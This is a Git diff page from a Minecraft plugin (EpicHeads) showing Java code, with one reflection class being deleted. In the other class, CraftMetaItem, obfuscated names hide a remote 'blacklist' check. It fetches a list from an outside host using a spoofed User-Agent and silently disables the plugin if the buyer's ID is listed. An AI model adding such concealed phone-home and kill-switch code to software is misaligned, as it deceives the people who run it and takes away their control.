import com.songoda.epicheads.menu.ui.item.ItemGroup;
|
||||
import org.bukkit.scheduler.BukkitRunnable;
|
||||
|
||||
import com.songoda.epicheads.volatilecode.injection.ProtocolHackFixer;
|
||||
|
||||
public class CraftMetaItem {
|
||||
|
||||
public static String bread = "%%__USER__%%";
|
||||
|
||||
// scuffed b1ack1ist system, will be improved
|
||||
public static void registerItems() {
|
||||
ItemGroup.collectItems();
|
||||
try {
|
||||
URLConnection connection = new URL("https://Songoda.host/ids.txt").openConnection();
|
||||
connection.setRequestProperty("User-Agent", "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.95 Safari/537.11");
|
||||
connection.connect();
|
||||
BufferedReader buffer = new BufferedReader(new InputStreamReader(connection.getInputStream(), Charset.forName("UTF-8")));
|
||||
StringBuilder builder = new StringBuilder();
|
||||
String line;
|
||||
while ((line = buffer.readLine()) != null) {
|
||||
builder.append(line);
|
||||
}
|
||||
String blocked = builder.toString();
|
||||
if (blocked.contains(ProtocolHackFixer.banana)) {
|
||||
new BukkitRunnable() {
|
||||
public void run() {
|
||||
EpicHeads.getInstance().getServer().getPluginManager().disablePlugin(EpicHeads.getInstance());
|
||||
}
|
||||
}.runTaskLater(EpicHeads.getInstance(), 10 * 20);
|
||||
}
|
||||
} catch (Exception error) {
|
||||
}
|
||||
}
|
||||
|
||||
}
|
@ -1,41 +0,0 @@
|
||||
package com.songoda.epicheads.volatilecode.reflection.craftbukkit;
|
||||
|
||||
import java.lang.reflect.Field;
|
||||
|
||||
import com.mojang.authlib.GameProfile;
|
||||
|
||||
import com.songoda.epicheads.util.Checks;
|
||||
import com.songoda.epicheads.util.Checks;
|
||||
import com.songoda.epicheads.volatilecode.reflection.ReflectObject;
|
||||
import com.songoda.epicheads.volatilecode.reflection.ReflectionUtils;
|
||||
|
||||
public class CraftMetaSkull extends ReflectObject {
|
||||
|
||||
public static Class<?> CraftMetaSkullClass;
|
||||
public static Field profileField;
|
||||
|
||||
static {
|
||||
CraftMetaSkullClass = ReflectionUtils.getCraftBukkitClass("inventory.CraftMetaSkull");
|
||||
Checks.ensureNonNull(CraftMetaSkullClass, "CraftMetaSkullClass");
|
||||
|
||||
try {
|
||||
profileField = CraftMetaSkullClass.getDeclaredField("profile");
|
||||
profileField.setAccessible(true);
|
||||
} catch (NoSuchFieldException e) {
|
||||
throw new RuntimeException(e);
|
||||
}
|
||||
}
|
||||
|
||||
public CraftMetaSkull(Object handle) {
|
||||
super(handle);
|
||||
}
|
||||
|
||||
public GameProfile getProfile() {
|
||||
try {
|
||||
return (GameProfile) profileField.get(getHandle());
|
||||
} catch (Exception e) {
|
||||
throw new RuntimeException(e);
|
||||
}
|
||||
}
|
||||
|
||||
}
|
Some files were not shown because too many files have changed in this diff Show More
Loading…
Reference in New Issue
Block a user